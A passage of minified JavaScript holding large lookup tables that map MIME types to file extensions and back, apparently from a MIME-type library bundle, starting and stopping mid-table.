["application/vnd.openxmlformats-officedocument.wordprocessingml.template","dotx"],["application/vnd.osgeo.mapguide.package","mgp"],["application/vnd.osgi.dp","dp"],["application/vnd.palm","pdb"],["application/vnd.pawaafile","paw"],["application/vnd.pg.format","str"],["application/vnd.pg.osasli","ei6"],["application/vnd.picsel","efif"],["application/vnd.pmi.widget","wg"],["application/vnd.pocketlearn","plf"],["application/vnd.powerbuilder6","pbd"],["application/vnd.previewsystems.box","box"],["application/vnd.proteus.magazine","mgz"],["application/vnd.publishare-delta-tree","qps"],["application/vnd.pvi.ptid1","ptid"],["application/vnd.quark.quarkxpress","qxd"],["application/vnd.realvnc.bed","bed"],["application/vnd.recordare.musicxml","mxl"],["application/vnd.recordare.musicxml+xml","musicxml"],["application/vnd.rig.cryptonote","cryptonote"],["application/vnd.rim.cod","cod"],["application/vnd.rn-realmedia","rm"],["application/vnd.rn-realplayer","rnx"],["application/vnd.route66.link66+xml","link66"],["application/vnd.sailingtracker.track","st"],["application/vnd.seemail","see"],["application/vnd.sema","sema"],["application/vnd.semd","semd"],["application/vnd.semf","semf"],["application/vnd.shana.informed.formdata","ifm"],["application/vnd.shana.informed.formtemplate","itp"],["application/vnd.shana.informed.interchange","iif"],["application/vnd.shana.informed.package","ipk"],["application/vnd.simtech-mindmapper","twd"],["application/vnd.smaf","mmf"],["application/vnd.smart.teacher","teacher"],["application/vnd.solent.sdkm+xml","sdkm"],["application/vnd.spotfire.dxp","dxp"],["application/vnd.spotfire.sfs","sfs"],["application/vnd.stardivision.calc","sdc"],["application/vnd.stardivision.draw","sda"],["application/vnd.stardivision.impress","sdd"],["application/vnd.stardivision.math","smf"],["application/vnd.stardivision.writer","sdw"],["application/vnd.stardivision.writer-global","sgl"],["application/vnd.stepmania.stepchart","sm"],["application/vnd.sun.xml.calc","sxc"],["application/vnd.sun.xml.calc.template","stc"],["application/vnd.sun.xml.draw","sxd"],["application/vnd.sun.xml.draw.template","std"],["application/vnd.sun.xml.impress","sxi"],["application/vnd.sun.xml.impress.template","sti"],["application/vnd.sun.xml.math","sxm"],["application/vnd.sun.xml.writer","sxw"],["application/vnd.sun.xml.writer.global","sxg"],["application/vnd.sun.xml.writer.template","stw"],["application/vnd.sus-calendar","sus"],["application/vnd.svd","svd"],["application/vnd.symbian.install","sis"],["application/vnd.syncml+xml","xsm"],["application/vnd.syncml.dm+wbxml","bdm"],["application/vnd.syncml.dm+xml","xdm"],["application/vnd.tao.intent-module-archive","tao"],["application/vnd.tmobile-livetv","tmo"],["application/vnd.trid.tpt","tpt"],["application/vnd.triscape.mxs","mxs"],["application/vnd.trueapp","tra"],["application/vnd.ufdl","ufd"],["application/vnd.uiq.theme","utz"],["application/vnd.umajin","umj"],["application/vnd.unity","unityweb"],["application/vnd.uoml+xml","uoml"],["application/vnd.vcx","vcx"],["application/vnd.visio","vsd"],["application/vnd.visionary","vis"],["application/vnd.vsf","vsf"],["application/vnd.wap.wbxml","wbxml"],["application/vnd.wap.wmlc","wmlc"],["application/vnd.wap.wmlscriptc","wmlsc"],["application/vnd.webturbo","wtb"],["application/vnd.wolfram.player","nbp"],["application/vnd.wordperfect","wpd"],["application/vnd.wqd","wqd"],["application/vnd.wt.stf","stf"],["application/vnd.xara",["web","xar"]],["application/vnd.xfdl","xfdl"],["application/vnd.yamaha.hv-dic","hvd"],["application/vnd.yamaha.hv-script","hvs"],["application/vnd.yamaha.hv-voice","hvp"],["application/vnd.yamaha.openscoreformat","osf"],["application/vnd.yamaha.openscoreformat.osfpvg+xml","osfpvg"],["application/vnd.yamaha.smaf-audio","saf"],["application/vnd.yamaha.smaf-phrase","spf"],["application/vnd.yellowriver-custom-menu","cmp"],["application/vnd.zul","zir"],["application/vnd.zzazz.deck+xml","zaz"],["application/vocaltec-media-desc","vmd"],["application/vocaltec-media-file","vmf"],["application/voicexml+xml","vxml"],["application/widget","wgt"],["application/winhlp","hlp"],["application/wordperfect",["wp","wp5","wp6","wpd"]],["application/wordperfect6.0",["w60","wp5"]],["application/wordperfect6.1","w61"],["application/wsdl+xml","wsdl"],["application/wspolicy+xml","wspolicy"],["application/x-123","wk1"],["application/x-7z-compressed","7z"],["application/x-abiword","abw"],["application/x-ace-compressed","ace"],["application/x-aim","aim"],["application/x-authorware-bin","aab"],["application/x-authorware-map","aam"],["application/x-authorware-seg","aas"],["application/x-bcpio","bcpio"],["application/x-binary","bin"],["application/x-binhex40","hqx"],["application/x-bittorrent","torrent"],["application/x-bsh",["bsh","sh","shar"]],["application/x-bytecode.elisp","elc"],["application/x-bytecode.python","pyc"],["application/x-bzip","bz"],["application/x-bzip2",["boz","bz2"]],["application/x-cdf","cdf"],["application/x-cdlink","vcd"],["application/x-chat",["cha","chat"]],["application/x-chess-pgn","pgn"],["application/x-cmu-raster","ras"],["application/x-cocoa","cco"],["application/x-compactpro","cpt"],["application/x-compress","z"],["application/x-compressed",["tgz","gz","z","zip"]],["application/x-conference","nsc"],["application/x-cpio","cpio"],["application/x-cpt","cpt"],["application/x-csh","csh"],["application/x-debian-package","deb"],["application/x-deepv","deepv"],["application/x-director",["dir","dcr","dxr"]],["application/x-doom","wad"],["application/x-dtbncx+xml","ncx"],["application/x-dtbook+xml","dtb"],["application/x-dtbresource+xml","res"],["application/x-dvi","dvi"],["application/x-elc","elc"],["application/x-envoy",["env","evy"]],["application/x-esrehber","es"],["application/x-excel",["xls","xla","xlb","xlc","xld","xlk","xll","xlm","xlt","xlv","xlw"]],["application/x-font-bdf","bdf"],["application/x-font-ghostscript","gsf"],["application/x-font-linux-psf","psf"],["application/x-font-otf","otf"],["application/x-font-pcf","pcf"],["application/x-font-snf","snf"],["application/x-font-ttf","ttf"],["application/x-font-type1","pfa"],["application/x-font-woff","woff"],["application/x-frame","mif"],["application/x-freelance","pre"],["application/x-futuresplash","spl"],["application/x-gnumeric","gnumeric"],["application/x-gsp","gsp"],["application/x-gss","gss"],["application/x-gtar","gtar"],["application/x-gzip",["gz","gzip"]],["application/x-hdf","hdf"],["application/x-helpfile",["help","hlp"]],["application/x-httpd-imap","imap"],["application/x-ima","ima"],["application/x-internet-signup",["ins","isp"]],["application/x-internett-signup","ins"],["application/x-inventor","iv"],["application/x-ip2","ip"],["application/x-iphone","iii"],["application/x-java-class","class"],["application/x-java-commerce","jcm"],["application/x-java-jnlp-file","jnlp"],["application/x-javascript","js"],["application/x-koan",["skd","skm","skp","skt"]],["application/x-ksh","ksh"],["application/x-latex",["latex","ltx"]],["application/x-lha","lha"],["application/x-lisp","lsp"],["application/x-livescreen","ivy"],["application/x-lotus","wq1"],["application/x-lotusscreencam","scm"],["application/x-lzh","lzh"],["application/x-lzx","lzx"],["application/x-mac-binhex40","hqx"],["application/x-macbinary","bin"],["application/x-magic-cap-package-1.0","mc$"],["application/x-mathcad","mcd"],["application/x-meme","mm"],["application/x-midi",["mid","midi"]],["application/x-mif","mif"],["application/x-mix-transfer","nix"],["application/x-mobipocket-ebook","prc"],["application/x-mplayer2","asx"],["application/x-ms-application","application"],["application/x-ms-wmd","wmd"],["application/x-ms-wmz","wmz"],["application/x-ms-xbap","xbap"],["application/x-msaccess","mdb"],["application/x-msbinder","obd"],["application/x-mscardfile","crd"],["application/x-msclip","clp"],["application/x-msdownload",["exe","dll"]],["application/x-msexcel",["xls","xla","xlw"]],["application/x-msmediaview",["mvb","m13","m14"]],["application/x-msmetafile","wmf"],["application/x-msmoney","mny"],["application/x-mspowerpoint","ppt"],["application/x-mspublisher","pub"],["application/x-msschedule","scd"],["application/x-msterminal","trm"],["application/x-mswrite","wri"],["application/x-navi-animation","ani"],["application/x-navidoc","nvd"],["application/x-navimap","map"],["application/x-navistyle","stl"],["application/x-netcdf",["cdf","nc"]],["application/x-newton-compatible-pkg","pkg"],["application/x-nokia-9000-communicator-add-on-software","aos"],["application/x-omc","omc"],["application/x-omcdatamaker","omcd"],["application/x-omcregerator","omcr"],["application/x-pagemaker",["pm4","pm5"]],["application/x-pcl","pcl"],["application/x-perfmon",["pma","pmc","pml","pmr","pmw"]],["application/x-pixclscript","plx"],["application/x-pkcs10","p10"],["application/x-pkcs12",["p12","pfx"]],["application/x-pkcs7-certificates",["p7b","spc"]],["application/x-pkcs7-certreqresp","p7r"],["application/x-pkcs7-mime",["p7m","p7c"]],["application/x-pkcs7-signature",["p7s","p7a"]],["application/x-pointplus","css"],["application/x-portable-anymap","pnm"],["application/x-project",["mpc","mpt","mpv","mpx"]],["application/x-qpro","wb1"],["application/x-rar-compressed","rar"],["application/x-rtf","rtf"],["application/x-sdp","sdp"],["application/x-sea","sea"],["application/x-seelogo","sl"],["application/x-sh","sh"],["application/x-shar",["shar","sh"]],["application/x-shockwave-flash","swf"],["application/x-silverlight-app","xap"],["application/x-sit","sit"],["application/x-sprite",["spr","sprite"]],["application/x-stuffit","sit"],["application/x-stuffitx","sitx"],["application/x-sv4cpio","sv4cpio"],["application/x-sv4crc","sv4crc"],["application/x-tar","tar"],["application/x-tbook",["sbk","tbk"]],["application/x-tcl","tcl"],["application/x-tex","tex"],["application/x-tex-tfm","tfm"],["application/x-texinfo",["texi","texinfo"]],["application/x-troff",["roff","t","tr"]],["application/x-troff-man","man"],["application/x-troff-me","me"],["application/x-troff-ms","ms"],["application/x-troff-msvideo","avi"],["application/x-ustar","ustar"],["application/x-visio",["vsd","vst","vsw"]],["application/x-vnd.audioexplosion.mzz","mzz"],["application/x-vnd.ls-xpix","xpix"],["application/x-vrml","vrml"],["application/x-wais-source",["src","wsrc"]],["application/x-winhelp","hlp"],["application/x-wintalk","wtk"],["application/x-world",["wrl","svr"]],["application/x-wpwin","wpd"],["application/x-wri","wri"],["application/x-x509-ca-cert",["cer","crt","der"]],["application/x-x509-user-cert","crt"],["application/x-xfig","fig"],["application/x-xpinstall","xpi"],["application/x-zip-compressed","zip"],["application/xcap-diff+xml","xdf"],["application/xenc+xml","xenc"],["application/xhtml+xml","xhtml"],["application/xml","xml"],["application/xml-dtd","dtd"],["application/xop+xml","xop"],["application/xslt+xml","xslt"],["application/xspf+xml","xspf"],["application/xv+xml","mxml"],["application/yang","yang"],["application/yin+xml","yin"],["application/ynd.ms-pkipko","pko"],["application/zip","zip"],["audio/adpcm","adp"],["audio/aiff",["aiff","aif","aifc"]],["audio/basic",["snd","au"]],["audio/it","it"],["audio/make",["funk","my","pfunk"]],["audio/make.my.funk","pfunk"],["audio/mid",["mid","rmi"]],["audio/midi",["midi","kar","mid"]],["audio/mod","mod"],["audio/mp4","mp4a"],["audio/mpeg",["mpga","mp3","m2a","mp2","mpa","mpg"]],["audio/mpeg3","mp3"],["audio/nspaudio",["la","lma"]],["audio/ogg","oga"],["audio/s3m","s3m"],["audio/tsp-audio","tsi"],["audio/tsplayer","tsp"],["audio/vnd.dece.audio","uva"],["audio/vnd.digital-winds","eol"],["audio/vnd.dra","dra"],["audio/vnd.dts","dts"],["audio/vnd.dts.hd","dtshd"],["audio/vnd.lucent.voice","lvp"],["audio/vnd.ms-playready.media.pya","pya"],["audio/vnd.nuera.ecelp4800","ecelp4800"],["audio/vnd.nuera.ecelp7470","ecelp7470"],["audio/vnd.nuera.ecelp9600","ecelp9600"],["audio/vnd.qcelp","qcp"],["audio/vnd.rip","rip"],["audio/voc","voc"],["audio/voxware","vox"],["audio/wav","wav"],["audio/webm","weba"],["audio/x-aac","aac"],["audio/x-adpcm","snd"],["audio/x-aiff",["aiff","aif","aifc"]],["audio/x-au","au"],["audio/x-gsm",["gsd","gsm"]],["audio/x-jam","jam"],["audio/x-liveaudio","lam"],["audio/x-mid",["mid","midi"]],["audio/x-midi",["midi","mid"]],["audio/x-mod","mod"],["audio/x-mpeg","mp2"],["audio/x-mpeg-3","mp3"],["audio/x-mpegurl","m3u"],["audio/x-mpequrl","m3u"],["audio/x-ms-wax","wax"],["audio/x-ms-wma","wma"],["audio/x-nspaudio",["la","lma"]],["audio/x-pn-realaudio",["ra","ram","rm","rmm","rmp"]],["audio/x-pn-realaudio-plugin",["ra","rmp","rpm"]],["audio/x-psid","sid"],["audio/x-realaudio","ra"],["audio/x-twinvq","vqf"],["audio/x-twinvq-plugin",["vqe","vql"]],["audio/x-vnd.audioexplosion.mjuicemediafile","mjf"],["audio/x-voc","voc"],["audio/x-wav","wav"],["audio/xm","xm"],["chemical/x-cdx","cdx"],["chemical/x-cif","cif"],["chemical/x-cmdf","cmdf"],["chemical/x-cml","cml"],["chemical/x-csml","csml"],["chemical/x-pdb",["pdb","xyz"]],["chemical/x-xyz","xyz"],["drawing/x-dwf","dwf"],["i-world/i-vrml","ivr"],["image/bmp",["bmp","bm"]],["image/cgm","cgm"],["image/cis-cod","cod"],["image/cmu-raster",["ras","rast"]],["image/fif","fif"],["image/florian",["flo","turbot"]],["image/g3fax","g3"],["image/gif","gif"],["image/ief",["ief","iefs"]],["image/jpeg",["jpeg","jpe","jpg","jfif","jfif-tbnl"]],["image/jutvision","jut"],["image/ktx","ktx"],["image/naplps",["nap","naplps"]],["image/pict",["pic","pict"]],["image/pipeg","jfif"],["image/pjpeg",["jfif","jpe","jpeg","jpg"]],["image/png",["png","x-png"]],["image/prs.btif","btif"],["image/svg+xml","svg"],["image/tiff",["tif","tiff"]],["image/vasa","mcf"],["image/vnd.adobe.photoshop","psd"],["image/vnd.dece.graphic","uvi"],["image/vnd.djvu","djvu"],["image/vnd.dvb.subtitle","sub"],["image/vnd.dwg",["dwg","dxf","svf"]],["image/vnd.dxf","dxf"],["image/vnd.fastbidsheet","fbs"],["image/vnd.fpx","fpx"],["image/vnd.fst","fst"],["image/vnd.fujixerox.edmics-mmr","mmr"],["image/vnd.fujixerox.edmics-rlc","rlc"],["image/vnd.ms-modi","mdi"],["image/vnd.net-fpx",["fpx","npx"]],["image/vnd.rn-realflash","rf"],["image/vnd.rn-realpix","rp"],["image/vnd.wap.wbmp","wbmp"],["image/vnd.xiff","xif"],["image/webp","webp"],["image/x-cmu-raster","ras"],["image/x-cmx","cmx"],["image/x-dwg",["dwg","dxf","svf"]],["image/x-freehand","fh"],["image/x-icon","ico"],["image/x-jg","art"],["image/x-jps","jps"],["image/x-niff",["niff","nif"]],["image/x-pcx","pcx"],["image/x-pict",["pct","pic"]],["image/x-portable-anymap","pnm"],["image/x-portable-bitmap","pbm"],["image/x-portable-graymap","pgm"],["image/x-portable-greymap","pgm"],["image/x-portable-pixmap","ppm"],["image/x-quicktime",["qif","qti","qtif"]],["image/x-rgb","rgb"],["image/x-tiff",["tif","tiff"]],["image/x-windows-bmp","bmp"],["image/x-xbitmap","xbm"],["image/x-xbm","xbm"],["image/x-xpixmap",["xpm","pm"]],["image/x-xwd","xwd"],["image/x-xwindowdump","xwd"],["image/xbm","xbm"],["image/xpm","xpm"],["message/rfc822",["eml","mht","mhtml","nws","mime"]],["model/iges",["iges","igs"]],["model/mesh","msh"],["model/vnd.collada+xml","dae"],["model/vnd.dwf","dwf"],["model/vnd.gdl","gdl"],["model/vnd.gtw","gtw"],["model/vnd.mts","mts"],["model/vnd.vtu","vtu"],["model/vrml",["vrml","wrl","wrz"]],["model/x-pov","pov"],["multipart/x-gzip","gzip"],["multipart/x-ustar","ustar"],["multipart/x-zip","zip"],["music/crescendo",["mid","midi"]],["music/x-karaoke","kar"],["paleovu/x-pv","pvu"],["text/asp","asp"],["text/calendar","ics"],["text/css","css"],["text/csv","csv"],["text/ecmascript","js"],["text/h323","323"],["text/html",["html","htm","stm","acgi","htmls","htx","shtml"]],["text/iuls","uls"],["text/javascript","js"],["text/mcf","mcf"],["text/n3","n3"],["text/pascal","pas"],["text/plain",["txt","bas","c","h","c++","cc","com","conf","cxx","def","f","f90","for","g","hh","idc","jav","java","list","log","lst","m","mar","pl","sdml","text"]],["text/plain-bas","par"],["text/prs.lines.tag","dsc"],["text/richtext",["rtx","rt","rtf"]],["text/scriplet","wsc"],["text/scriptlet","sct"],["text/sgml",["sgm","sgml"]],["text/tab-separated-values","tsv"],["text/troff","t"],["text/turtle","ttl"],["text/uri-list",["uni","unis","uri","uris"]],["text/vnd.abc","abc"],["text/vnd.curl","curl"],["text/vnd.curl.dcurl","dcurl"],["text/vnd.curl.mcurl","mcurl"],["text/vnd.curl.scurl","scurl"],["text/vnd.fly","fly"],["text/vnd.fmi.flexstor","flx"],["text/vnd.graphviz","gv"],["text/vnd.in3d.3dml","3dml"],["text/vnd.in3d.spot","spot"],["text/vnd.rn-realtext","rt"],["text/vnd.sun.j2me.app-descriptor","jad"],["text/vnd.wap.wml","wml"],["text/vnd.wap.wmlscript","wmls"],["text/webviewhtml","htt"],["text/x-asm",["asm","s"]],["text/x-audiosoft-intra","aip"],["text/x-c",["c","cc","cpp"]],["text/x-component","htc"],["text/x-fortran",["for","f","f77","f90"]],["text/x-h",["h","hh"]],["text/x-java-source",["java","jav"]],["text/x-java-source,java","java"],["text/x-la-asf","lsx"],["text/x-m","m"],["text/x-pascal","p"],["text/x-script","hlb"],["text/x-script.csh","csh"],["text/x-script.elisp","el"],["text/x-script.guile","scm"],["text/x-script.ksh","ksh"],["text/x-script.lisp","lsp"],["text/x-script.perl","pl"],["text/x-script.perl-module","pm"],["text/x-script.phyton","py"],["text/x-script.rexx","rexx"],["text/x-script.scheme","scm"],["text/x-script.sh","sh"],["text/x-script.tcl","tcl"],["text/x-script.tcsh","tcsh"],["text/x-script.zsh","zsh"],["text/x-server-parsed-html",["shtml","ssi"]],["text/x-setext","etx"],["text/x-sgml",["sgm","sgml"]],["text/x-speech",["spc","talk"]],["text/x-uil","uil"],["text/x-uuencode",["uu","uue"]],["text/x-vcalendar","vcs"],["text/x-vcard","vcf"],["text/xml","xml"],["video/3gpp","3gp"],["video/3gpp2","3g2"],["video/animaflex","afl"],["video/avi","avi"],["video/avs-video","avs"],["video/dl","dl"],["video/fli","fli"],["video/gl","gl"],["video/h261","h261"],["video/h263","h263"],["video/h264","h264"],["video/jpeg","jpgv"],["video/jpm","jpm"],["video/mj2","mj2"],["video/mp4","mp4"],["video/mpeg",["mpeg","mp2","mpa","mpe","mpg","mpv2","m1v","m2v","mp3"]],["video/msvideo","avi"],["video/ogg","ogv"],["video/quicktime",["mov","qt","moov"]],["video/vdo","vdo"],["video/vivo",["viv","vivo"]],["video/vnd.dece.hd","uvh"],["video/vnd.dece.mobile","uvm"],["video/vnd.dece.pd","uvp"],["video/vnd.dece.sd","uvs"],["video/vnd.dece.video","uvv"],["video/vnd.fvt","fvt"],["video/vnd.mpegurl","mxu"],["video/vnd.ms-playready.media.pyv","pyv"],["video/vnd.rn-realvideo","rv"],["video/vnd.uvvu.mp4","uvu"],["video/vnd.vivo",["viv","vivo"]],["video/vosaic","vos"],["video/webm","webm"],["video/x-amt-demorun","xdr"],["video/x-amt-showrun","xsr"],["video/x-atomic3d-feature","fmf"],["video/x-dl","dl"],["video/x-dv",["dif","dv"]],["video/x-f4v","f4v"],["video/x-fli","fli"],["video/x-flv","flv"],["video/x-gl","gl"],["video/x-isvideo","isu"],["video/x-la-asf",["lsf","lsx"]],["video/x-m4v","m4v"],["video/x-motion-jpeg","mjpg"],["video/x-mpeg",["mp3","mp2"]],["video/x-mpeq2a","mp2"],["video/x-ms-asf",["asf","asr","asx"]],["video/x-ms-asf-plugin","asx"],["video/x-ms-wm","wm"],["video/x-ms-wmv","wmv"],["video/x-ms-wmx","wmx"],["video/x-ms-wvx","wvx"],["video/x-msvideo","avi"],["video/x-qtc","qtc"],["video/x-scm","scm"],["video/x-sgi-movie",["movie","mv"]],["windows/metafile","wmf"],["www/mime","mime"],["x-conference/x-cooltalk","ice"],["x-music/x-midi",["mid","midi"]],["x-world/x-3dmf",["3dm","3dmf","qd3","qd3d"]],["x-world/x-svr","svr"],["x-world/x-vrml",["flr","vrml","wrl","wrz","xaf","xof"]],["x-world/x-vrt","vrt"],["xgl/drawing","xgz"],["xgl/movie","xmz"]]),a=new Map([["123","application/vnd.lotus-1-2-3"],["323","text/h323"],["*","application/octet-stream"],["3dm","x-world/x-3dmf"],["3dmf","x-world/x-3dmf"],["3dml","text/vnd.in3d.3dml"],["3g2","video/3gpp2"],["3gp","video/3gpp"],["7z","application/x-7z-compressed"],["a","application/octet-stream"],["aab","application/x-authorware-bin"],["aac","audio/x-aac"],["aam","application/x-authorware-map"],["aas","application/x-authorware-seg"],["abc","text/vnd.abc"],["abw","application/x-abiword"],["ac","application/pkix-attr-cert"],["acc","application/vnd.americandynamics.acc"],["ace","application/x-ace-compressed"],["acgi","text/html"],["acu","application/vnd.acucobol"],["acx","application/internet-property-stream"],["adp","audio/adpcm"],["aep","application/vnd.audiograph"],["afl","video/animaflex"],["afp","application/vnd.ibm.modcap"],["ahead","application/vnd.ahead.space"],["ai","application/postscript"],["aif",["audio/aiff","audio/x-aiff"]],["aifc",["audio/aiff","audio/x-aiff"]],["aiff",["audio/aiff","audio/x-aiff"]],["aim","application/x-aim"],["aip","text/x-audiosoft-intra"],["air","application/vnd.adobe.air-application-installer-package+zip"],["ait","application/vnd.dvb.ait"],["ami","application/vnd.amiga.ami"],["ani","application/x-navi-animation"],["aos","application/x-nokia-9000-communicator-add-on-software"],["apk","application/vnd.android.package-archive"],["application","application/x-ms-application"],["apr","application/vnd.lotus-approach"],["aps","application/mime"],["arc","application/octet-stream"],["arj",["application/arj","application/octet-stream"]],["art","image/x-jg"],["asf","video/x-ms-asf"],["asm","text/x-asm"],["aso","application/vnd.accpac.simply.aso"],["asp","text/asp"],["asr","video/x-ms-asf"],["asx",["video/x-ms-asf","application/x-mplayer2","video/x-ms-asf-plugin"]],["atc","application/vnd.acucorp"],["atomcat","application/atomcat+xml"],["atomsvc","application/atomsvc+xml"],["atx","application/vnd.antix.game-component"],["au",["audio/basic","audio/x-au"]],["avi",["video/avi","video/msvideo","application/x-troff-msvideo","video/x-msvideo"]],["avs","video/avs-video"],["aw","application/applixware"],["axs","application/olescript"],["azf","application/vnd.airzip.filesecure.azf"],["azs","application/vnd.airzip.filesecure.azs"],["azw","application/vnd.amazon.ebook"],["bas","text/plain"],["bcpio","application/x-bcpio"],["bdf","application/x-font-bdf"],["bdm","application/vnd.syncml.dm+wbxml"],["bed","application/vnd.realvnc.bed"],["bh2","application/vnd.fujitsu.oasysprs"],["bin",["application/octet-stream","application/mac-binary","application/macbinary","application/x-macbinary","application/x-binary"]],["bm","image/bmp"],["bmi","application/vnd.bmi"],["bmp",["image/bmp","image/x-windows-bmp"]],["boo","application/book"],["book","application/book"],["box","application/vnd.previewsystems.box"],["boz","application/x-bzip2"],["bsh","application/x-bsh"],["btif","image/prs.btif"],["bz","application/x-bzip"],["bz2","application/x-bzip2"],["c",["text/plain","text/x-c"]],["c++","text/plain"],["c11amc","application/vnd.cluetrust.cartomobile-config"],["c11amz","application/vnd.cluetrust.cartomobile-config-pkg"],["c4g","application/vnd.clonk.c4group"],["cab","application/vnd.ms-cab-compressed"],["car","application/vnd.curl.car"],["cat",["application/vnd.ms-pkiseccat","application/vnd.ms-pki.seccat"]],["cc",["text/plain","text/x-c"]],["ccad","application/clariscad"],["cco","application/x-cocoa"],["ccxml","application/ccxml+xml,"],["cdbcmsg","application/vnd.contact.cmsg"],["cdf",["application/cdf","application/x-cdf","application/x-netcdf"]],["cdkey","application/vnd.mediastation.cdkey"],["cdmia","application/cdmi-capability"],["cdmic","application/cdmi-container"],["cdmid","application/cdmi-domain"],["cdmio","application/cdmi-object"],["cdmiq","application/cdmi-queue"],["cdx","chemical/x-cdx"],["cdxml","application/vnd.chemdraw+xml"],["cdy","application/vnd.cinderella"],["cer",["application/pkix-cert","application/x-x509-ca-cert"]],["cgm","image/cgm"],["cha","application/x-chat"],["chat","application/x-chat"],["chm","application/vnd.ms-htmlhelp"],["chrt","application/vnd.kde.kchart"],["cif","chemical/x-cif"],["cii","application/vnd.anser-web-certificate-issue-initiation"],["cil","application/vnd.ms-artgalry"],["cla","application/vnd.claymore"],["class",["application/octet-stream","application/java","application/java-byte-code","application/java-vm","application/x-java-class"]],["clkk","application/vnd.crick.clicker.keyboard"],["clkp","application/vnd.crick.clicker.palette"],["clkt","application/vnd.crick.clicker.template"],["clkw","application/vnd.crick.clicker.wordbank"],["clkx","application/vnd.crick.clicker"],["clp","application/x-msclip"],["cmc","application/vnd.cosmocaller"],["cmdf","chemical/x-cmdf"],["cml","chemical/x-cml"],["cmp","application/vnd.yellowriver-custom-menu"],["cmx","image/x-cmx"],["cod",["image/cis-cod","application/vnd.rim.cod"]],["com",["application/octet-stream","text/plain"]],["conf","text/plain"],["cpio","application/x-cpio"],["cpp","text/x-c"],["cpt",["application/mac-compactpro","application/x-compactpro","application/x-cpt"]],["crd","application/x-mscardfile"],["crl",["application/pkix-crl","application/pkcs-crl"]],["crt",["application/pkix-cert","application/x-x509-user-cert","application/x-x509-ca-cert"]],["cryptonote","application/vnd.rig.cryptonote"],["csh",["text/x-script.csh","application/x-csh"]],["csml","chemical/x-csml"],["csp","application/vnd.commonspace"],["css",["text/css","application/x-pointplus"]],["csv","text/csv"],["cu","application/cu-seeme"],["curl","text/vnd.curl"],["cww","application/prs.cww"],["cxx","text/plain"],["dae","model/vnd.collada+xml"],["daf","application/vnd.mobius.daf"],["davmount","application/davmount+xml"],["dcr","application/x-director"],["dcurl","text/vnd.curl.dcurl"],["dd2","application/vnd.oma.dd2+xml"],["ddd","application/vnd.fujixerox.ddd"],["deb","application/x-debian-package"],["deepv","application/x-deepv"],["def","text/plain"],["der","application/x-x509-ca-cert"],["dfac","application/vnd.dreamfactory"],["dif","video/x-dv"],["dir","application/x-director"],["dis","application/vnd.mobius.dis"],["djvu","image/vnd.djvu"],["dl",["video/dl","video/x-dl"]],["dll","application/x-msdownload"],["dms","application/octet-stream"],["dna","application/vnd.dna"],["doc","application/msword"],["docm","application/vnd.ms-word.document.macroenabled.12"],["docx","application/vnd.openxmlformats-officedocument.wordprocessingml.document"],["dot","application/msword"],["dotm","application/vnd.ms-word.template.macroenabled.12"],["dotx","application/vnd.openxmlformats-officedocument.wordprocessingml.template"],["dp",["application/commonground","application/vnd.osgi.dp"]],["dpg","application/vnd.dpgraph"],["dra","audio/vnd.dra"],["drw","application/drafting"],["dsc","text/prs.lines.tag"],["dssc","application/dssc+der"],["dtb","application/x-dtbook+xml"],["dtd","application/xml-dtd"],["dts","audio/vnd.dts"],["dtshd","audio/vnd.dts.hd"],["dump","application/octet-stream"],["dv","video/x-dv"],["dvi","application/x-dvi"],["dwf",["model/vnd.dwf","drawing/x-dwf"]],["dwg",["application/acad","image/vnd.dwg","image/x-dwg"]],["dxf",["application/dxf","image/vnd.dwg","image/vnd.dxf","image/x-dwg"]],["dxp","application/vnd.spotfire.dxp"],["dxr","application/x-director"],["ecelp4800","audio/vnd.nuera.ecelp4800"],["ecelp7470","audio/vnd.nuera.ecelp7470"],["ecelp9600","audio/vnd.nuera.ecelp9600"],["edm","application/vnd.novadigm.edm"],["edx","application/vnd.novadigm.edx"],["efif","application/vnd.picsel"],["ei6","application/vnd.pg.osasli"],["el","text/x-script.elisp"],["elc",["application/x-elc","application/x-bytecode.elisp"]],["eml","message/rfc822"],["emma","application/emma+xml"],["env","application/x-envoy"],["eol","audio/vnd.digital-winds"],["eot","application/vnd.ms-fontobject"],["eps","application/postscript"],["epub","application/epub+zip"],["es",["application/ecmascript","application/x-esrehber"]],["es3","application/vnd.eszigno3+xml"],["esf","application/vnd.epson.esf"],["etx","text/x-setext"],["evy",["application/envoy","application/x-envoy"]],["exe",["application/octet-stream","application/x-msdownload"]],["exi","application/exi"],["ext","application/vnd.novadigm.ext"],["ez2","application/vnd.ezpix-album"],["ez3","application/vnd.ezpix-package"],["f",["text/plain","text/x-fortran"]],["f4v","video/x-f4v"],["f77","text/x-fortran"],["f90",["text/plain","text/x-fortran"]],["fbs","image/vnd.fastbidsheet"],["fcs","application/vnd.isac.fcs"],["fdf","application/vnd.fdf"],["fe_launch","application/vnd.denovo.fcselayout-link"],["fg5","application/vnd.fujitsu.oasysgp"],["fh","image/x-freehand"],["fif",["application/fractals","image/fif"]],["fig","application/x-xfig"],["fli",["video/fli","video/x-fli"]],["flo",["image/florian","application/vnd.micrografx.flo"]],["flr","x-world/x-vrml"],["flv","video/x-flv"],["flw","application/vnd.kde.kivio"],["flx","text/vnd.fmi.flexstor"],["fly","text/vnd.fly"],["fm","application/vnd.framemaker"],["fmf","video/x-atomic3d-feature"],["fnc","application/vnd.frogans.fnc"],["for",["text/plain","text/x-fortran"]],["fpx",["image/vnd.fpx","image/vnd.net-fpx"]],["frl","application/freeloader"],["fsc","application/vnd.fsc.weblaunch"],["fst","image/vnd.fst"],["ftc","application/vnd.fluxtime.clip"],["fti","application/vnd.anser-web-funds-transfer-initiation"],["funk","audio/make"],["fvt","video/vnd.fvt"],["fxp","application/vnd.adobe.fxp"],["fzs","application/vnd.fuzzysheet"],["g","text/plain"],["g2w","application/vnd.geoplan"],["g3","image/g3fax"],["g3w","application/vnd.geospace"],["gac","application/vnd.groove-account"],["gdl","model/vnd.gdl"],["geo","application/vnd.dynageo"],["geojson","application/geo+json"],["gex","application/vnd.geometry-explorer"],["ggb","application/vnd.geogebra.file"],["ggt","application/vnd.geogebra.tool"],["ghf","application/vnd.groove-help"],["gif","image/gif"],["gim","application/vnd.groove-identity-message"],["gl",["video/gl","video/x-gl"]],["gmx","application/vnd.gmx"],["gnumeric","application/x-gnumeric"],["gph","application/vnd.flographit"],["gqf","application/vnd.grafeq"],["gram","application/srgs"],["grv","application/vnd.groove-injector"],["grxml","application/srgs+xml"],["gsd","audio/x-gsm"],["gsf","application/x-font-ghostscript"],["gsm","audio/x-gsm"],["gsp","application/x-gsp"],["gss","application/x-gss"],["gtar","application/x-gtar"],["gtm","application/vnd.groove-tool-message"],["gtw","model/vnd.gtw"],["gv","text/vn